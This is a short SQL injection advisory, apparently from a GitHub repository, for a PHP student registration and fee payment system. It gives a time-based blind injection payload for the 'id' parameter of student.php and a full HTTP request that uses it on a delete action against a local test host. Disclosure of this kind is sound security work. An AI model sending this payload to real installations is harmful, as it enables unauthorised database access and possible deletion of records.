mikeccltt Update sql.md

student-registration-and-fee-payment-system v1.0 has SQL injection

vendors: https://www.sourcecodester.com/php/15355/student-registration-and-fee-payment-system-php-mysql.html

Date: 2022-05-07

Vulnerability File: /scms/student.php

Vulnerability location:/scms/student.php, id

[+] Payload: 5'and(select*from(select+sleep(3))a/**union**/select+1)='

Tested on Windows 10, XAMPP

```
GET http://192.168.2.102/scms/student.php?
action=delete&id=5'and(select*from(select+sleep(3))a/**/union/**/select+1)='
HTTP/1.1
Host: 192.168.2.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101
Firefox/100.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
```

```
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
Connection: close
Referer: http://192.168.2.102/scms/student.php?act=2
Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj
Upgrade-Insecure-Requests: 1
```